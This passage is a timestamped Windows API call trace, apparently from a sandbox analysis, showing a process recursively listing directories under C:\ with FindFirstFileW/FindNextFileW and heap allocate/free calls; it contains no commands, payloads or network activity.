lpFindFileData=0x38af800) returned 1 [0158.783] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.783] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.783] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.783] FindClose (in: hFindFile=0x7f5458 | out: hFindFile=0x7f5458) returned 1 [0158.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.783] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.784] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.784] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f53d8 [0158.784] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.784] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.784] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.784] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.784] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.784] FindClose (in: hFindFile=0x7f53d8 | out: hFindFile=0x7f53d8) returned 1 [0158.785] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.785] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.785] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.785] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5898 [0158.785] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.785] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.785] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.785] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.785] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.785] FindClose (in: hFindFile=0x7f5898 | out: hFindFile=0x7f5898) returned 1 [0158.785] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.785] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.785] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.785] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5218 [0158.786] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.786] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.797] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.797] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.797] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.797] FindClose (in: hFindFile=0x7f5218 | out: hFindFile=0x7f5218) returned 1 [0158.797] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.797] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.797] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.797] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f58d8 [0158.797] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.797] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.798] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.798] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.798] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.798] FindClose (in: hFindFile=0x7f58d8 | out: hFindFile=0x7f58d8) returned 1 [0158.798] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.798] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.798] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.798] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5598 [0158.798] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.798] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.798] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.799] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.799] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.799] FindClose (in: hFindFile=0x7f5598 | out: hFindFile=0x7f5598) returned 1 [0158.799] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.799] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.799] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.799] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5758 [0158.799] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.799] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.799] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.799] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.800] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.800] FindClose (in: hFindFile=0x7f5758 | out: hFindFile=0x7f5758) returned 1 [0158.800] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.800] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.800] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.800] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5898 [0158.800] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.800] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.800] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.800] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.800] FindNextFileW (in: hFindFile=0x7f5898, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.800] FindClose (in: hFindFile=0x7f5898 | out: hFindFile=0x7f5898) returned 1 [0158.801] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.801] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.801] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.801] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5118 [0158.801] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.801] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.801] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.801] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.801] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.801] FindClose (in: hFindFile=0x7f5118 | out: hFindFile=0x7f5118) returned 1 [0158.801] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.801] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.801] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.801] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5758 [0158.802] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.802] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.802] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.802] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.802] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.802] FindClose (in: hFindFile=0x7f5758 | out: hFindFile=0x7f5758) returned 1 [0158.802] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.802] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.802] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.802] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f56d8 [0158.802] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.802] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.803] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.803] FindNextFileW (in: hFindFile=0x7f56d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.803] FindClose (in: hFindFile=0x7f56d8 | out: hFindFile=0x7f56d8) returned 1 [0158.803] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.803] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.803] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.803] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.803] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.803] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f51d8 [0158.803] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.803] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.803] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.804] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.804] FindClose (in: hFindFile=0x7f51d8 | out: hFindFile=0x7f51d8) returned 1 [0158.804] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.804] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.804] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.804] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5758 [0158.875] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.875] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.875] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.875] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.875] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.875] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.875] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.876] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.877] FindClose (in: hFindFile=0x7f5758 | out: hFindFile=0x7f5758) returned 1 [0158.879] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.880] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.884] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.885] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0 [0158.885] FindClose (in: hFindFile=0x7f5718 | out: hFindFile=0x7f5718) returned 1 [0158.887] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x7f5158, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0158.888] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0158.888] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x7f5258 [0158.888] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.890] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.890] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.890] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.890] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5418 [0158.891] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.891] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.891] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.891] FindClose (in: hFindFile=0x7f5418 | out: hFindFile=0x7f5418) returned 1 [0158.892] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.892] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.892] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.892] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.892] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.892] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.892] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5518 [0158.895] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.897] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.897] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.899] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.900] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.900] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.900] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.901] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.901] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.901] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.236] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.236] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.236] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.239] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.240] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0159.241] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0159.242] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0159.242] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0160.777] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0160.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0160.781] HeapFree (in: 